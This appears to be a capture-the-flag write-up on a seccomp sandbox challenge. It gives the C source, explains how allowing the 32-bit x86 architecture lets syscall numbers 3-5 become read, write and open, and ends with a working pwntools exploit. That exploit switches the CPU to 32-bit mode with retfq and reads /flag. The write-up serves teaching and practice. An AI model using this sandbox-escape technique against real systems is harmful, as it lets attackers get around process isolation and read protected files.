Skip to content

Cross-Arch Syscall Confusion

Challenge Source Code

#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <seccomp.h>

int main(int argc, char **argv, char **envp) {
  assert(argc > 0);

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 1);

  void *shellcode =
      mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
           MAP_PRIVATE | MAP_ANON, 0, 0);
  assert(shellcode == (void *)0x1337000);

  int shellcode_size = read(0, shellcode, 0x1000);

  scmp_filter_ctx ctx;

  ctx = seccomp_init(SCMP_ACT_ALLOW);
  for (int i = 0; i < 512; i++) {
    switch (i) {
    case SCMP_SYS(close):
      continue;
    case SCMP_SYS(stat):
      continue;
    case SCMP_SYS(fstat):
      continue;
    case SCMP_SYS(lstat):
      continue;
    }
    assert(seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0);
  }

  seccomp_arch_add(ctx, SCMP_ARCH_X86);

  assert(seccomp_load(ctx) == 0);

  ((void (*)())shellcode)();
}

Vulnerability Analysis

The challenge implements a seccomp filter that whitelists specific system calls (close, stat, fstat, lstat) and explicitly enables support for the 32-bit x86 architecture (SCMP_ARCH_X86).

The vulnerability arises because seccomp filters often check the system call number, but system call numbers differ between architectures.

** *x86-64 (64-bit):

  • close: 3
  • stat: 4
  • fstat: 5
  • lstat: 6 ** *x86 (32-bit):
  • read: 3
  • write: 4
  • open: 5

The filter allows syscalls 3, 4, 5, and 6. If we switch the processor to 32-bit mode (or simply execute the 32-bit int 0x80 instruction), the kernel interprets these numbers as read, write, and open.

Exploitation Plan

  1. Switch Mode (Conceptually): We don’t need to fully switch the process to 32-bit mode; we just need to use the 32-bit system call interface (int 0x80).
  2. Open Flag: Call syscall 5 (open) to open /flag.
  3. Read Flag: Call syscall 3 (read) to read from the FD returned by open.
  4. Write Flag: Call syscall 4 (write) to write the flag to stdout.

Exploit Script

The following script demonstrates the attack. We first generate a 32-bit payload using shellcraft.cat("/flag"). Then, we prepend a 64-bit assembly stub that switches the processor to 32-bit compatibility mode using a far return (retfq). This allows us to use the 32-bit syscall interface (int 0x80) to bypass the 64-bit seccomp restrictions.

from pwn import *

elf = context.binary = ELF("./challenge")

p = process(elf.path)

# 1. Generate 32-bit payload
# The challenge allows syscalls 3, 4, 5, 6 (64-bit numbers)
# In 32-bit mode, these numbers correspond to:
# 3: read
# 4: write
# 5: open
# 6: close
# This allows us to cat the flag.
with context.local(arch="i386", bits=32):
    # shellcraft.cat("/flag") uses open, read, write.
    # We avoid shellcraft.exit(0) because 32-bit exit is 1, which is blocked.
    payload_32 = asm(shellcraft.cat("/flag") + "jmp $")

# 2. 64-bit stub to switch to 32-bit mode
shellcode = (
    asm(
        """
    /* Move stack to 32-bit range */
    mov rsp, 0x1338000
    /* Switch to 32-bit mode (CS=0x23) */
    push 0x23
    lea rax, [rip + 3]
    push rax
    retfq
""",
        arch="amd64",
    )
    + payload_32
)

p.send(shellcode)

# Read output
print(p.recvall(timeout=1).decode())

p.close()